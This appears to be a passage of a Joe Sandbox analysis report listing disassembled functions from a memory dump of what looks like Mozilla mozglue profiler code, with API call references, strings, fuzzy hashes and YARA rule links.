Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction ID: 1ee12da314afcc678db07f88ae9bd056a9d4ad0b99b708fb6127eed362170356
Opcode Fuzzy Hash: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction Fuzzy Hash: C4619975A043409BDB10DF24CC80BABB7F6BFC9318F05891DE88957691EB75E849CB82

Function 6C4DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6AC

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4DB61E), ref: 6C4DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB79A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction ID: b8ba31d479dfa37159fbea0e31962d52bd514a2a4767d916ef85a0a841be9043
Opcode Fuzzy Hash: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction Fuzzy Hash: 8441B3B2D001159FCB04EF68DC90EAEB7B5BF84324F264669E825E7780E731AD0587E1

Function 6C4DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C555104), ref: 6C4DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DEFEC
free.MOZGLUE(?), ref: 6C4DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4DF065
moz_xmalloc.MOZGLUE ref: 6C4DF072

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction ID: 8c2c78ee163ce345aeb9a9382c8cdf6224992bad22d44fd63978911aee6e8b1c
Opcode Fuzzy Hash: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction Fuzzy Hash: D041F6B1A002059FDB18DF68DC90DAE7769BF88318B25422CE815DB794EB31E905C7E1

Function 6C54B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C54B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54B5F4
__Init_thread_footer.LIBCMT ref: 6C54B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C54B61F
std::_Facet_Register.LIBCPMT ref: 6C54B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B655

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction ID: 6bb4df23af8f54ea8cf92ffafdd07cc5e273403050cbfb2a950d692f924c1407
Opcode Fuzzy Hash: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction Fuzzy Hash: 60318F71B00204CBCF00EF69CC989AEB7B5FF8A324B964519D90697781DB31A906CB95

Function 6C516590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5167C8

Part of subcall function 6C524290: memcpy.VCRUNTIME140(?,?,6C532003,6C530AD9,?,6C530AD9,00000000,?,6C530AD9,?,00000004,?,6C531A62,?,6C532003,?), ref: 6C5242C4

Strings

data, xrefs: 6C516593
vUl, xrefs: 6C51696C

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vUl
API String ID: 511789754-3511496017
Opcode ID: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction ID: 1aa911cf9f449c6251d9080a358008f546be6580e3ac84a90826315a0d3c4f27
Opcode Fuzzy Hash: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction Fuzzy Hash: 5BD19E75A083408BD724DF25CC55B9EBBE5EFC5308F50892ED58987B91EB30A849CB92

Function 6C50D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4DEB57,?,?,?,?,?,?,?,?,?), ref: 6C50D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4DEB57,?), ref: 6C50D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4DEB57,?), ref: 6C50D673
free.MOZGLUE(?), ref: 6C50D888

Strings

|Enabled, xrefs: 6C50D81E
WMl, xrefs: 6C50D5D9, 6C50D63F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WMl$|Enabled
API String ID: 4142949111-27182069
Opcode ID: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction ID: 6b77c40a96e019b1baa90a57332318e1965589b368983649f8042ab0972dc88f
Opcode Fuzzy Hash: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction Fuzzy Hash: 9AA1E2B0B003058FDB11CF69CC90BAEBBF1AF49318F58855CD899AB742D735A945CBA1

Function 6C4EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE), ref: 6C4EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB896

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction ID: 98c30d6e9b0eb1191556452bb368863457d3b27bef8a89c100187807ffe18f21
Opcode Fuzzy Hash: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction Fuzzy Hash: 1A516A357006048FCB15DF59C888E3AB7F5FF8D31AB5A8559E98A87751C730E802CB88

Function 6C521D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C521D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D4C
GetCurrentThreadId.KERNEL32 ref: 6C521DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C521DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C521DDA

Part of subcall function 6C521EF0: GetCurrentThreadId.KERNEL32 ref: 6C521F03
Part of subcall function 6C521EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C521DF2,00000000,00000000), ref: 6C521F0C
Part of subcall function 6C521EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C521F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C521DF4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction ID: 67f9729a0c717aecc77407e37afc9ad5a1c7021f2f71dde8b5abc7677540f3d5
Opcode Fuzzy Hash: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction Fuzzy Hash: A04166B5200700DFCB10DF29C888A56BBF9FB89324F51442EE99A87B81DB75F854CB95

Function 6C5184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185AC

Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51767F
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C517693
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185B2

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction ID: 26680e453d8c64d81b35c69b426c39f1c8ef96ad4c004d80c5ff37e6f3bef7e5
Opcode Fuzzy Hash: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction Fuzzy Hash: EC216D742056019BEB24DF29CC88A5A77B5EF8430CF164829E55B83F42EB31F948CB56

Function 6C4E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E1699
VerSetConditionMask.NTDLL ref: 6C4E16CB
VerSetConditionMask.NTDLL ref: 6C4E16D7
VerSetConditionMask.NTDLL ref: 6C4E16DE
VerSetConditionMask.NTDLL ref: 6C4E16E5
VerSetConditionMask.NTDLL ref: 6C4E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E16F9

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction ID: b102370272a60fdb7ddf50535139f1f58e7c24a438c8255c1155fc4aa3c94ab3
Opcode Fuzzy Hash: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction Fuzzy Hash: F621D5B07402086FEB11AB648C85FBB73BCEFC6704F414528F6459B181C678AD548AA1

Function 6C51F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction ID: 671ed7e3cd39fdc4488d6dc10d7ea607c067fb2f3cbdbd2bc388f8c84fdc9897
Opcode Fuzzy Hash: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction Fuzzy Hash: 0511E335305204EBDB04AF19DC4C9A5B7B9FFC636CB950116EA0583F42CB72AC21CBA4

Function 6C4E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4E1C5F), ref: 6C4E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4E20CD
__Init_thread_footer.LIBCMT ref: 6C4E20E1
FreeLibrary.KERNEL32 ref: 6C4E2124

Strings

CoInitializeSecurity, xrefs: 6C4E20C7
combase.dll, xrefs: 6C4E20A9

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction ID: 724b7dcfe417fddd0408b3a881c7a3e8ff2e37171c7e054a0abc05ff653d243c
Opcode Fuzzy Hash: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction Fuzzy Hash: 3421BB3620020AEFDF20DF58EC4CD9A3B76FB4A326F524215FA0492691DB319861CFA4

Function 6C5376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C537705

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C537717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C53778F,00000000,00000000,00000000,00000000), ref: 6C537731
free.MOZGLUE(00000000), ref: 6C537760

Strings

}>Ql, xrefs: 6C5376C4

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ql
API String ID: 2538299546-1900031649
Opcode ID: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction ID: 7cd4cb3be489ca738c33d0f4a790c6aced969121796f8d091fd407002e45737d
Opcode Fuzzy Hash: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction Fuzzy Hash: A911B6B1D04325ABEB10AF759D44B6B7FE8EF45354F044529F84897300F771985487E2

Function 6C4E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4E1FFD
__Init_thread_footer.LIBCMT ref: 6C4E2011
FreeLibrary.KERNEL32 ref: 6C4E2059

Strings

CoCreateInstance, xrefs: 6C4E1FF7
combase.dll, xrefs: 6C4E1FD9

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction ID: e6702fa9680ce75b793fe7058ce0083f8d3425a0553f290eec4ea28777307759
Opcode Fuzzy Hash: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
